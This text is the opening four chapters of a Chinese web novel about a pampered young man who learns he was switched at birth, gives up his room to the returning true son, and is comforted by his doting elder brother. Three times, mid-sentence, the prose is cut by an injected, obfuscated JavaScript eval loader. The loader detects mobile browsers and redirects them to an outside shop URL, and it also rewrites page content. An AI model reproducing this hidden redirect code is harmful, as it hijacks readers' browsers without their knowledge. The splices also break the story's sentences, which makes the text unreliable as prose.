《假少爷揣崽后带球跑了》 1. 第一章 五月末,午后已经微热了。 池安盘腿坐在卧室的地板上,颈后出了一层薄汗,房间中央空调发出细微的嗡鸣声,他将几摞堆在一起的衣服塞进收纳箱,合上盖子后扶着床沿站了起来。 两条腿因为坐久了有点发麻,池安原地活动了会儿下手脚,顺便观察了一下已经空了一大半的房间。 这间卧室很大,带着独立的小阳台和卫浴,采光极好,是他从小到大住了二十年的地方。 直到今早从学校回家前,这里都还理所当然的属于自己,但谁能想到几个小时以后,自己就摇身一变成了家里抱错的假孩子,甚至莫名其妙成为了亲生父母都不知道是谁的孤儿。 大概也是他回来的不巧,最近原本都应该在学校准备毕业论文的,学期马上结束,他想着今天没课,得陆陆续续的从学校往家里搬东西,便提前回来准备了。 但今早刚到家,就看到了客厅里那个陌生的青年,和父母眉眼有六分相似的青年。 看见自己到家,父母好像没什么心理准备,一开始眼神有些慌乱,到最后像是下定了什么决心,毫无预兆的,将亲子鉴定和傅嘉木才是他们亲生儿子这件事一并摊开在了自己面前。 从他们的叙述中,大概能拼凑出当年的蛛丝马迹。 但这件事带来的震撼太大,大到池安已经完全不记得当时父母和自己说了什么,只记得在妈妈拉着自己的手,温柔而委婉的说:“安安,嘉木他身体不好,从小在小地方长大日子过得苦,你的卧室能不能让他先住一段时间?” 就这样,他便花了一整个中午的时间收拾好了自己的东西。 原本为毕业准备的行李箱和收纳箱这时就派上了用场,池安摇了摇脑袋将那些乱七八糟的想法甩开,俯身拎起箱子,就听见门外传来了几道脚步声。 接着,虚掩着的房门便被人从外面推开了。 “池安哥,你收拾好了?爸爸怕你一个人收拾不方便,就带我来看看还有什么需要帮忙的。” 清亮的声线在门口响起,说话的青年穿着水洗的有些发白的蓝色衬衫和牛仔裤,打扮的干净清爽,一双眼睛看过来时带着温和的笑意,又仿佛混杂着一丝歉意和不安。 池安拎着沉重的箱子抬了下眼皮,听不出情绪,懒懒散散的淡淡“嗯”了一声。 一旁的傅乔登时拧着眉头不满的看了过来,语气也更严厉了些:“嘉木他也是好意,你这是什么态度?” “我怎么了?”池安语气平静,看向父亲时的目光带了几分疑惑:“我回答他了。” 傅嘉木轻轻扯了扯傅乔的衣袖:“爸,我回来的突然,这么大的事情,池安哥一时半会接受不了是正常的,您别怪他。” 傅乔皱了皱眉:“不就是换个房间吗,家里又不是没给你安排住的地方,你摆脸色给谁看?” “好了好了,都是一家人,分那么清楚干什么。”池盈出声在一旁打圆场,她拍拍傅乔的胳膊:“安安是乖孩子,已经很懂事了,快收拾吧,收拾完好好休息一会。” 头顶的空调出风口将汗湿的后颈领口吹得冰凉,池安将箱子又堆在行李箱上,确认了一下不会掉下去就准备离开卧室。 池盈见他不搭理自己,神色之间闪过一丝疲惫和无奈,她语气软了几分:“安安,你也别多想,爸爸妈妈不是不疼你了,只是嘉木他从前吃苦多,我们想补偿他一下,你从小就娇生惯养的,现在少让爸爸妈妈操点心好不好?” 她犹豫了一下,又补充道:“而且在我们心里,你也永远都是我们的孩子。” 池安的脚步顿了顿,转身,对着傅嘉木笑了笑:“这本来就是你的房间,不用有什么负担,你住吧。” 说完,他推着行李箱绕过三人往外走,“我回房间了。” 他这副油盐不进的冷漠样子,显然让试图扮演慈母严父的父母俩有些无从下手。 训斥吗?他明明什么都照做了。安抚吗?他又一副拒人于千里之外的样子。 “对了,嘉木啊,你喜欢什么面料,妈妈给你准备了两套床单被褥,你都看看……” 客房在走廊的尽头,池安进来之后便反锁了门,将他们其乐融融的对话关在了门外。 * 长时间没人居住,狭小的房间内带着一股沉闷的气味,混合着刚被简单打扫过后的消毒水和灰尘的味道,并不太好闻。 池安捏着鼻子去开窗户,午后的微风从不大的窗户中灌进来,吹得人很舒服,这里采光没那么好,屋外种着几排树,阳光只能勉强透进来一小部分。 他抽了两张湿巾慢吞吞的给自己擦手,站在窗边呼吸了几口新鲜空气,手机又嗡嗡嗡的在口袋里震动了起来。 其实从他收东西的时候消息就没怎么停过,只是那时候他一心想着赶快腾出房间,没空拿出来看。 果然,他和另外两个发小的三人小群此时的未读消息已经99+了,点开就是满屏的艾特和问号。 【做1做0不做(3)】 柏少:@安安真的假的?!那个亲子鉴定确定是真的吗?? 路公子:现在什么情况?真儿子回归了?你没被扫地出门吧? 柏少:说话啊宝,不会在一个人偷偷哭吧,天塌下来有哥罩着你呢!@安安 柏少:完了完了,看过的真假少爷文成真了,下一步我宝宝是不是就要被打脸虐待了,还有没有王法了,我苦命的安仔啊…… 路公子:你能说点漂亮话不? 两人叽叽喳喳讨论了一百多条,池安飞速的爬完楼,然后在群里敲了个问号。 不安:“?” 柏少:“?” 路公子:“?” 不安:“谁改的群名?” 柏少:“我改的,不觉得很适合我们三个基佬吗?” 池安扯着唇角发了串省略号加白眼过去,但看着屏幕上跳跃的文字,那些被强压下去的、堵在胸口的混乱情绪,似乎终于消散了些。 路公子:行了不扯淡了,现在到底什么情况,你打算怎么办? 池安捧着手机转身坐在窗边的单人小沙发上,敲字:“走一步看一步吧,刚刚从卧室搬到客房,把原来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823960|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间还给他了。” 柏少:“……叔叔阿姨怎么说?” 不安:“说我是个懂事的孩子呗。” 柏少:“?” 路公子:“。” 柏少:“你搬我这儿来吧,我家里就我一个人住,正好缺点儿人味。” 路公子:“或者住我家的酒店,这边新开的环境不错,开个套房也就是随手的事,你想住多久住多久。” 好友的关心让池安内心暖暖的,他扯扯唇角,发了个害羞的小表情,“暂时不用,我手头还有点钱,现在太忙了,等下个月毕业再考虑搬出去。” 柏少:“那也行,别让自己受委屈。” 路公子:“有事一定要及时联系我们。” 安安:“保证完成少爷们的任务。/黄豆敬礼” 柏少:“还有心情抖机灵,看来没什么大事,今晚出来吗安仔,我们三个好几天没见了。” 池安琢磨了一下,正要回复到时看情况,屏幕上便突然跳出来了个熟悉的来电显示。 是哥哥! 原本还算平静的心跳猛地跳了一下。 他几乎是立刻按下了接听键,将手机紧紧贴在耳边,仿佛这样就能离那个能给他安全感的人近一点。 “哥。”他主动开口,声音一出来,声线干涩到把自己都吓了一跳。他赶紧清了清嗓子,试图想让声音显得正常些。 电话那头似乎因为他这不同寻常的语调沉默了一瞬,随即,傅闻修向来低沉温和声音传来:“安安。” 只是两个字,就让池安那些因为委屈和不安而沉郁的情绪瞬间安定了下来。 他有些别扭的垂下头,一屁股坐进沙发里,抱着膝盖,看着窗外那片因为逆光而显得黑压压的一排树木,心里的酸涩和憋闷在胸口翻搅着,几乎满的要溢出来。 “嗯,哥。”他应了一声,声音闷闷的。 “现在在哪?”傅闻修轻声问道。 “在家。”池安下意识回答,抿了抿唇,又突然赌气似的、用小时候动不动就气鼓鼓跟在哥哥屁股后面告状的口吻说道:“客房。” 电话那头没有立刻回应,他又情绪低落的小声嘟囔:“哥,爸爸妈妈让我把卧室腾出来了,就以前我住的那间。” “你都不知道,客房这里连太阳都照不到,阴森森的,所有东西都是我一个人搬的,手都疼死了,床上还只有一个破床垫……” 池安小声的,絮絮叨叨的说着,像是要把今天受到的所有委屈都抱怨出来,但电话对面的人并没出声打断,只是安静的任由他倾诉。 话音落下,哥哥那边仍然安静,池安有些不自在的往沙发里缩了缩,捏着手机,热度后知后觉从脸颊蔓延到耳尖,但心里好歹是畅快了。 听筒里传来一声极轻的气息变化,短促的让池安觉得自己似乎是听错了。 他刚想再开口说点什么,电话那头的声音便再次响起,平稳依旧,却带着一种让人心安的力量:“项目提前结束了,我今晚到家,会在家住一段时间。” “安安,等我回来。” 2. 第二章 挂了电话,池安看了看还空空如也的床铺,索性扯了张毯子重新缩回沙发里,像只冬眠的小动物把自己蜷起来发了会呆,结果就这么睡了过去。 醒来的时候天色已经黑了,外面不知道什么时候飘起了细细的小雨,凝结在狭小陈旧的客房窗户上,像蒙了一层雾。 两条腿因为搭在沙发扶手上太久已经麻的快没知觉了,这么一动就像针扎了一样,池安皱起眉头“嘶”了下,小心翼翼的扶着两条腿慢慢坐起来,垂着脑袋认真给自己揉腿。 外面的风雨这时更大了些,拍打在玻璃上发出噼啪的响声,池安忧心忡忡的看了一眼,属实有些担心这明显老化的窗户会不会突然碎掉砸到自己脑袋。 还没等他脑海里那些乱七八糟的可怕想法一个个冒出来,房门就被人敲响了,是家里阿姨的声音:“安安少爷,可以下去吃晚饭了。” “我知道了。”池安应了声好,有些不情愿的磨蹭了几分钟,才拉开房门下楼。 餐桌上已经摆满了饭菜,傅乔坐在主位上,手边池盈和傅嘉木坐在一起,正说着什么,傅嘉木看起来有些腼腆,正乖巧的点着头回答问题。 听见下楼的脚步声,三人的目光都朝着这边看过来。 池安今天穿的很简单,水蓝色短T和浅灰色的长裤,都是柔软的纯棉面料,垂坠感很好,将衬托出青年瘦削单薄的身形和修长白皙的脖颈。 刚睡醒不久,乌发有些凌乱的搭在额前,眼睫漆黑,唇色是淡淡的粉,搭上他没什么表情的漂亮五官,整个人透露出一种漫不经心的慵懒感。 “安安下来了,就等你开饭了。”池盈率先开口,语气是和平常无二的温柔,“坐吧。” “嗯。”池安点点头,在他们对面的空位坐下了。 “池安哥。”傅嘉木声音温和,带着明显的笑意:“我刚刚还在和妈妈说,下午你一个人收拾房间搬房间太辛苦你了,你要是觉得住在客房缺了什么,随时和我说就好。” 池安抬眼,傅嘉木已经换下了中午那套洗的发白的衬衫,换了件墨绿色的短袖和黑色短裤,倒是显得白了一些。 只是这话里话外隐隐透俨然家中主人的隐晦暗示,让池安莫名觉得有些不舒服,但又觉得可能是自己太过敏感了。 他摇头:“暂时不用,谢谢。” “先吃饭吧,嘉木这孩子有心,总是为别人着想。”池盈笑眯眯的给他盛了碗汤:“也不知道你喜欢吃什么,让阿姨做的都是江城那边的菜,尝尝喜不喜欢?” “妈,不用这么麻烦。”傅嘉木乖巧的捧着碗,露出一个腼腆的笑:“我吃什么都行,以前爸爸妈妈……” 他顿了一下,神色黯然的恰到好处:“养父母去世以后,我都是自己做饭的,大多数时候都是吃学校食堂,有时候来不及了就泡个泡面,也过的挺好。” “……好孩子。”池盈的神色有几分不加遮掩的心疼,她摸了摸傅嘉木修剪的并不平整的黑发,轻声说:“现在回家了,爸爸妈妈不会再让你吃苦了。” 池安低头往嘴里塞了块小排,垂着眼眸慢吞吞的嚼嚼嚼,他觉得自己现在的处境有点像是在温馨家庭做客的客人,莫名有点凄凉。 他吐掉那一小块甜口的,腻腻的骨头,有些失落的戳了戳碗里同样被调的甜丝丝的青菜,想不通为什么会变成这样。 傅乔和池盈是典型的严父慈母,从自己记事开始,池盈就经常抱着自己笑呵呵的说:“我们安安只要快快乐乐的平安长大就好了。” “妈妈最喜欢安安了,所以安安才和妈妈姓哦。” 小池安的童年过得算是十分潇洒快活,各种各样的补习班,课外班,兴趣班,他一个都没有参加过,比起哥哥每天睁眼就是出门上课,他几乎是玩着长大的。 不过即便这样,他的考试运倒是还行,中考考的不错踩着线进了重点高中,高中课程的难度跟不上,哥哥每周周末就会抽空回来给自己讲题,自己的第一只手机也是傅闻修买的,方便自己问问题的时候随时联系。 到后来,这只手机就成了池安每天叽叽喳喳有事没事给哥哥发几条消息的理由,一直到现在大学快毕业了,这个习惯也没有变过。 哥哥…… 要是现在哥哥在就好了。 池安出神的想着。 下一秒,玄关处就传来了点开门关门的动静,接着就是管家微微提高的声音传来:“大少爷,您回来了。” 这一声招呼成功引来了餐厅所有人的注意力。 池安几乎是立刻抬起了头,目光灼灼的看向餐厅门口,心跳也因为此刻的巧合而不受控制的加快了些。 傅乔和池盈交换了个眼神,都从对方的眼神里看到了一丝惊讶和不自然,傅嘉木微微停止了背,规规矩矩的坐在座位上,神色难掩期待。 他在回傅家之前就曾经听过傅闻修的大名,那个时候他还叫程嘉木,在江省的S大入学了物流管理,老师便经常拿当前国内互联网产业巨头的几家公司举例,其中说的最多的就是傅闻修一手做起来的“智鸿科技”。 傅家当年是抓住了风口做房地产起家的,家族企业,上上下下的员工领导大多都沾亲带故,领导层疏于管理,一直在慢慢走下坡路,有两年几乎难以运行下去。 是傅闻修接手后以一己之力让企业以极快的速度转型,专注互联网行业,凭借着极强的专业性和对智能前沿的洞察,短短几年内便打造出了“智鸿”。 现在公司不仅市值飙升,更让傅家从曾经的“暴发户”变成了彻底在京市上流圈层站稳脚跟的新贵。 所以在知道自己的真实身世后,惊喜与震惊交织之余他也明白,要融入这个家,乃至掌控这个家,就一定要得到傅闻修的认可。 大门敞开,一道颀长挺拔的身影踏入客厅。 傅闻修穿着一身剪裁合体的深灰色西装,他身量极高,肩宽腿长,仅仅是站在那里,便自带一股迫人的气场。 漆黑的短发打理得一丝不苟向后梳拢,露出饱满的额头和立体的五官,眉骨很高,鼻梁挺拔,唇形偏薄,鼻梁上的金丝眼镜削减去了几分凌厉,多了几分沉淀下来的威严与成熟。 他脱下外套递给管家,进入餐厅时周身的气场仍旧沉稳而强大。 “爸,妈。”他主动开口,声音是一贯的平稳礼貌,听不出什么情绪。 “闻修回来了。”傅乔放轻了语气,带着热络的关心:“怎么也没提前说一声?” “项目提前结束,就回来了。”傅闻修回答的同时,目光已经在餐厅内逡巡了一圈,镜片后的视线淡淡扫过父母,在那个看起来瘦弱拘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823961|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谨的青年身上短暂停留了一下。 傅嘉木抓住机会,扬起无害的笑脸,站起来,乖巧开口:“大哥,我是傅嘉木。” 傅闻修看向他,眼眸中没有任何波动,仿佛只是在看一个无关紧要的陌生人,他微微颔首:“嗯,你好。”算是打过了招呼。 他的态度和反应都让傅嘉木很是意外,毕竟是失散了二十年的亲弟弟,在他的设想内,以及这位大哥见到自己时不说惊喜,至少会有一点惊讶或是别的不同寻常的反应。 但是现在…… 不过想到他对父母也是这样冷冷淡淡的态度,傅嘉木只垂下头,遮住眼中闪过的悻悻之色,重新坐回了座位上,略长的头发遮住了半张脸,显得有些无措。 “给大少爷加一副新的碗筷,还没吃饭吧?”池盈见状立刻打圆场,招呼着傅闻修去他们身边坐下。 “还没有。”傅闻修的目光已经落在了那一个人孤零零的坐在餐桌一边,从自己进门后,就拿那双湿漉漉的大眼睛委屈巴巴盯着自己的人身上,像只可怜兮兮的小狗。 他眼底的冷淡和漠然瞬间消失,连带着周身那种生人勿近的凌厉感也柔软了下来。他迈步绕过池盈和傅嘉木那一边,十分自然的走到池安身边,在紧挨着他的位置坐下。 “哥。”池安小声喊他。 傅闻修应了一声,夹了筷子菜,看见池安几乎没怎么动的饭碗,语气如常的问道:“饭菜不喜欢吗?” “怎么会呢?”池盈在池安开口前笑着解释:“这么多菜,阿姨做了一下午呢,可能是安安下午搬房间累到了,没什么胃口是不是?”她看向池安,眼神里带着温柔的询问,却无形中堵住了池安后面可能的话。 池安爱吃甜品,但不爱吃甜口的任何主食和菜,按照他以往被娇养惯了的性格,这时候已经嘀嘀咕咕说太甜了不喜欢,想吃别的什么什么,不出多久,他想吃的菜就会端上来。 而此刻,他看着池盈温柔的表情,最后只抿了抿唇,点头:“嗯。” 傅闻修闻言,目光重新落回池安身上,眸色沉了几分:“客房长时间没人住,一个人收拾起来确实费神,没胃口也正常。” “还有,”他看向管家,不容置疑的开口:“爸妈年纪大了,对糖分的摄入要严格控制,日常饮食还是清淡为主,以后家里做菜一律免糖。” 池盈愣了一下,神色有些不自然的看了一眼傅嘉木,旋即勉强扯出一个笑来:“对,闻修说得对,我们也就偶尔吃一次,换换口味。” “吃饭,菜要凉了。”傅乔在一边沉着嗓子开口。 傅嘉木垂眼喝着池盈给他盛的汤,看着对面兄弟二人之间相处时无声流淌着的亲昵和默契,再想到方才自己殷勤招呼时所遭受的冷待,心中的不甘呼啸着在胸口生长,涨的他心里发闷。 池安小口小口的咬着傅闻修刚夹来的几颗清淡的菜心,时不时的偷偷看一眼哥哥,又悄悄收回视线。 哥哥好像瘦了一些,侧面下颌线条更清晰利落,看来这次出差一个月真的很忙,难怪平常给他发信息都要等很久才一条一条的回复过来…… 池安想着想着就有点发呆,目光游离了一下,恰好和傅闻修看过来时深沉漆黑的瞳孔对上,那眼神格外幽深,仿佛早已等待良久,带着一种洞悉一切的穿透力。 3. 第三章 那漆黑的眼眸只停留了一瞬便移开了,仿佛刚刚只是自己的错觉,池安反应过来,眨巴了下眼睛,继续低头吃饭。 餐厅里一时安静了下来,傅嘉木捏着勺子小口小口的喝着汤,眼神却不受控制的看向对面。 傅闻修给池安碗里夹了几片胡萝卜,池安的表情立刻肉眼可见的为难了起来,他拧着眉头,恳求似的看向傅闻修,但在目光交汇的一瞬间看见他挑了下眉,池安撇了撇嘴,表情不情不愿的将胡萝卜往嘴里塞了一片。 两人之间这样自然的,在对方面前才会表露出来的鲜活太过刺眼,仿佛能将所有人都隔绝在外。 对比自己需要时刻维持的、小心翼翼的懂事和讨好,一股强烈的酸涩和失衡感悄然蔓延。自己努力营造的一切,在他们之间这份经年累月的亲昵面前,显得如此苍白无力。 不仅无力,被傅闻修的眼神注视时,总会有一种被看穿心思的怪异感。 但那又怎样? 他才是那个被傅家亏欠了二十年,理应得到所有人补偿和关注的人。 傅嘉木悄悄吸了口气,再抬眼时脸上的笑容依旧真诚,他看向傅闻修,声线里带着几分崇拜和好奇:“大哥,我听爸爸说智鸿近期的智能领域有了新进展,真的好厉害啊。” 傅闻修看向他。 像是被这个看过来的目光鼓励到了,傅嘉木接着开口:“我大学学的就是物流管理,一直都很关注国内智慧物流这方面的发展,智鸿在行业内是最顶尖的,不知道我可不可以有去学习的机会?” 他话说的漂亮,姿态放的又低,任谁听了都会觉得这是个积极上进的良好青年。 没等傅闻修开口,一直在旁边没说话的傅乔已经接着说道:“嗯,嘉木马上也大学毕业了,正好专业对口,你看看能不能先在公司给他安排个合适的职位?也到了该历练的时候了。” 他像是思索了一下:“之前池安不是也在运营部门实习过吗,我看给嘉木安排个项目经理之类的就不错,毕竟是正经学这个的,有基础,上手肯定也快,现在的年轻人都聪明……” 池安埋头吃饭的动作慢了下来,捏着筷子没有出声。 他是英语专业,大学四年辅修了几门小语种,成绩都很不错,学校并没有给他们安排实习单位,去智鸿实习的机会还是在校园招聘大会上自己争取来的。 当时他想的也单纯,只是觉得在自家公司上班有事没事可能会偶遇哥哥,从来没想过要因为自己傅家少爷的身份去得到什么。 他也是经历了几轮面试才得到一个项目组实习助理的机会,虽然没做出什么特别厉害的成绩,但好歹是勤勤恳恳的扎实干了几个月。 上周一直带自己的项目经理话里话外还暗示过自己毕业可以直接转正,但父母从来不关心这些,只知道自己在公司实习,也从没问过工作辛不辛苦,累不累的这种话。 但傅嘉木一回来,就要直接空降自己顶头上司的职位,甚至还是从小就严肃冷漠的父亲亲口说的,池安嚼着米饭,心里那点因为哥哥回来后而消散的委屈不知道又从哪里冒了出来。 傅闻修放下筷子,镜片后的目光平静地看向傅嘉木,他并没有正面回应傅乔,而是反问道:“智慧物流发展核心重点在哪里?近两年有哪些产品系统迭代更新,一个合格的产品经理,基础职责有哪些?” 他抛出的问题精准而专业,既包括了傅乔所说的经理职位,又直指傅嘉木所说的一直很关注国内发展的言论。 傅嘉木被他问的愣了一下,学校里学的基本都是为了应付考试,从没有过任何实操经验。 即便他确实有在来之前详细的了解了个大概,但突然被这么一问,他犹豫了一下,努力回想着之前在网上了解道的一些信息:“核心重点是,设计平台化解决方案,形成平台行产品……还有就是,牵引搭建服务产品研发,嗯……职责是供应链管理和,运输这方面的吧。” 他的回答并不流畅,大多都是死记硬背下来的理论,也只背下来了一小部分。 傅闻修注视着他,安静的听他回答完,脸上的表情没有任何变化,只是短暂的“嗯”了一声。 “爸。”他看向傅乔:“公司有严格的用人标准,你提的岗位,任职要求最低是硕士,同时要具备中级以上的证书以及三年以上资源管理的工作经验,既然你也说了是从基层做起,那就按照规定的招聘流程走,如果通过考核,可以从实习助理做起。” 运营部的实习助理,也是当初池安费了不少力气通过面试入职实习的岗位,是事情最多最繁琐,需要耗费大量时间精力才能做好的岗位,离傅乔口中那个经理的小管理层差了不止一个档次。 傅乔的脸色有些难看,但面对傅闻修,这个早早脱离掌控,甚至能在短短几年内用自己的领域盘活原本的傅氏地产的大儿子,他早就失去了对公司的话语和掌控权。 尤其是在关于现在公司的事务上,任何发展以及决策,他都从来不敢左右傅闻修的意见,不管在家里表面如何,他在心底对这个越大越看不透的大儿子还是有些发怵的。 “嗯,你说的也有道理。”傅乔张了几次嘴,最终也只是沉着脸答应了下来。 池安又往嘴里塞了一片刚刚哥哥夹过来的胡萝卜片。 嗯,好像也不是那么难吃了。 傅嘉木脸色有些发白,但好在头顶的灯光明亮,所以并不明显。 他知道自己刚刚的回答表现并不好,但自己这个丢失了二十年才找回来的真少爷,傅闻修血缘上的亲弟弟身份,至少也能换来一个看起来,甚至是听起来体面的职位吧! 但傅闻修一句话就给自己打到了最底层,这还不够,他还要和一群人挤破头去竞争一个实习助理的岗位? 这样强烈的反差感和失落感席卷了他的全身,让他一时半会儿几乎收不回脸上那种像是受到了羞辱的难堪表情。 池盈在一旁忙不迭的打圆场:“吃着饭呢,就不要谈公事了,真有什么事吃完饭有空再好好聊,闻修啊,这次出差累了吧,回来休息几天?有没有空和妈妈去参加个饭局?上次赵太太还问起你呢,她家小女儿刚从国外读研回来……” 池安用余光偷偷瞄了傅闻修一眼,这两年父母给哥哥介绍对象的意图越来越明显,几乎已经到了每次回家都要提起的话题了。 虽然哥哥每次都是轻描淡写的带过话题或者直接拒绝,但毕竟年纪在这里,万一他真的有一天…… 池安不爽的收回视线,接着烦躁的将碗里最后一片胡萝卜丢了出去。 傅闻修将身边人一连串的小动作尽收眼底,对于催婚这类的话题他也早就已经应付的得心应手了,他点头:“刚参加完行业发展大会,接下来会比较忙,暂时没时间,也不考虑这些问题。” 他的回答也在池盈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823962|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意料之内,她叹了口气,像是自言自语般开口:“忙啊,事情确实是忙不完的。” 傅闻修没再搭话,而是看向一旁明显心不在焉神游的池安,问道:“吃饱了?” 池安回过神,点点头:“嗯。” “那就上楼吧。”傅闻修一边说一边站起身,拿起自己的外套:“客房很久没人住,看看你还缺不缺什么。” “哦。”池安乖乖的答应了一声,跟着他一起站起来往楼上走。 客房只在自己下午刚搬进来的时候开窗通了会儿风,现在外面还淅淅沥沥的下着雨,猛地进来还是能闻到一股淡淡的霉味。 房间中央,几个打开的行李箱和收纳盒杂乱地堆放着,里面的衣服虽然看起来是被叠过了才放进去的,但一团一团的堆在一起,依旧显得凌乱。 本来就不算大的房间被行李什么的一堆,就显得更狭小了,明晃晃的透亮白炽灯光在头顶照着,透出一种被遗弃的凄凉感。 傅闻修跟在他后面走进来扫视了一圈,眉头几不可察的蹙了一下,这房间和下午池安在电话里描述的没什么差别,甚至还要更差一点。陈旧的窗框、明显较差的采光、空气中挥之不去的潮湿气味,以及那张光秃秃的,连床单都没有铺的单人床垫。 “床单被子呢?”他问。 池安瘪了瘪嘴,本就压抑了一天的委屈和被强行压制的娇气,在只剩下哥哥和他的时候骤然冒了出来。 他踢掉脚上的拖鞋,赤着脚踩在冰凉的地板上走到沙发旁,气哼哼的一屁股坐了下去,结果坐在了沙发靠枕上,整个人小幅度的弹了一下,他羞恼的锤了下靠枕,才开口:“在那个蓝色的收纳箱里。” 他低着头不看傅闻修,声音闷闷的,带着明显的鼻音,像是在抱怨,更像是在撒娇:“那么重的东西,我费了好大力气才搬过来的呀,累都累死了,哪还有力气再收拾……” “你看我的手,下午搬东西的时候勒的,很疼的。”池安掌心向上,双手并拢着举起来给傅闻修看,一双白皙柔软的掌心中间确实有两道淡淡的红色勒痕,要不是他掌心软白,几乎看不出来。 傅闻修看着他这幅耍小无赖的模样,眼底的笑意更深了,他伸手覆在池安抬起来的掌心里,认真给他揉了揉:“娇气。” 哥哥的掌心比自己更烫,带着层薄薄的茧子,摩挲着细嫩的肌肤,池安被揉的脸颊发烫,他松开手,不服气的瞪他:“我才不娇气!这么多箱子,还有行李箱,整个房间的东西都是我收拾进去的!” “嗯,我们安安长大了,能干了。” 傅闻修低低的笑了一声,从善如流的附和,语气却像是在哄小孩子。 “……” 池安眯着眼睛抬头看他,总觉得哥哥在故意逗自己,但脸上的表情又那么正经,池安觉得他看起来像个大尾巴狼。 他索性往沙发上一倒,耍赖道:“我不管,反正我没力气弄了,今晚就让我睡在这个又小又破的沙发上吧。” 这么说着,他还真闭上眼睛翻了个身,只给傅闻修留下了个被蹭的毛茸茸的后脑勺和背影。 傅闻修站在沙发前,静静地垂眸看了他几秒。 身材瘦削的青年背对着自己侧躺在沙发上,宽松的棉质短袖因他方才翻身的动作卷起一截衣摆,腰部皮肤在灯光下白的晃眼,布料贴合着线条流畅的,纤细柔韧的侧腰,勾勒出柔软的青涩弧度。 4. 第四章 池安怀里抱着抱枕紧闭着眼,努力维持着平稳的呼吸,但注意力全都集中在身后人细微的动静上。 他以为哥哥会和以前一样,俯身揉揉自己的脑袋,或者用那低沉好听的嗓音无奈的喊自己的名字,自己才会“勉为其难”顺理成章起身。 然而还没等他等个几秒,身后就传来了衣料摩擦的细微动静,接着就是皮鞋踏在木地板上的脚步声,从沙发的位置越来越向后,一直持续到门口。 这是……? “咔哒。” 是那个老旧的门把手被转动的声音,木门打开时发出一道不轻不重的吱呀声。 哥哥要走了?是自己刚才太过分了吗?他不想管自己了吗? 这个念头让池安心里猛地一沉,什么委屈什么撒娇瞬间被抛诸脑后,他几乎是瞬间就从沙发上翻身坐起,急匆匆的慌乱望向门口:“哥——” 后面那个哥字还没蹦出来,声音便戛然而止。 想象中哥哥离开的背影并未在门口出现,相反的,傅闻修根本没有离开的动作,他正姿态闲适地背靠在房门旁,双臂环胸,好整以暇的含笑看着自己。 那双向来沉静幽深的眼眸里,此刻正清晰的弥漫着毫不遮掩的笑意和促狭,金丝眼镜的镜片都遮挡不住眼中的几分揶揄。 池安转身的动作僵住,他明显感觉到自己的脸乃至全身都在哥哥这样的目光中热了起来,这时候才后知后觉反应过来哥哥是在骗自己! “你骗我!”他又羞又气的把怀里的抱枕往傅闻修的方向扔了过去,可惜力气软绵绵的,还没扔到门口就坠了下去。 傅闻修轻松捞起飞过来的抱枕,这才低低笑出了声,那笑声从胸腔震出,带着低沉的磁性,在安静的房间里听起来更是清晰。 他拎着抱枕走到沙发前重新塞回气鼓鼓的池安怀里,低头看着他漫上绯色脖颈和脸颊,眼底的笑意又深了几分。 “不是说今晚就要睡这个又小又破的沙发吗?”他挑眉,慢条斯理的复述刚刚池安的话。 池安被他笑得越发窘迫,像个炸了毛的小猫,气势汹汹的扶着靠背从沙发上站起来,总算在高度上占据了一点上风。 他居高临下的低头去瞪傅闻修,天生略微下垂的眼尾毫无威慑力,一双清亮的眸子因为刚才的逗弄而显得水光潋滟,眼尾还带着一点点红:“你是故意的!” “嗯。”傅闻修承认的倒是十分坦然,他习惯性的伸手捏了捏池安绵软的脸,和小时候很多次一样,动作自然而亲昵:“看看安安舍不舍得赶哥哥走。” 他指尖带着微凉的触感,捏着自己滚烫的脸颊轻轻晃了晃,池安被他的动作和话激起一阵微小的颤栗,站在沙发上的气势也弱了下来。 “……谁舍不得了。”他嘟嘟囔囔的嘀咕了一声,摸着鼻子俯身重新坐回沙发上。 傅闻修没再逗他,目光转向房间中央的那摞箱子上,蓝色的那个明显比其它几个要大一些,他走上前:“是这个吗?” “嗯,就是那个。”池安犹豫了一下,也走下沙发跟了过去。 傅闻修卷起衬衫的袖子,露出肌肉精壮的小臂,轻而易举便把那个对于池安来说又笨又重的箱子搬到了床边打开了。 池安赤着脚亦步亦趋的像个小尾巴跟在他身后,他偏头看了池安一眼,视线落在他赤裸的双脚上,池安立刻心领神会,转身乖乖把鞋子穿上了。 他利落的将床品从一堆秋冬的厚重衣服里拿出来,池安又热情的凑了上来:“哥,我来帮你。” 傅闻修看他跃跃欲试的表情,倒也没拒绝,将手中刚抖落干净的床单递给他,说道:“把这个在床上铺开拍平。” “好。”池安信心满满的接过,半跪在床上捏着床单用力一抖,大概铺在了床上。 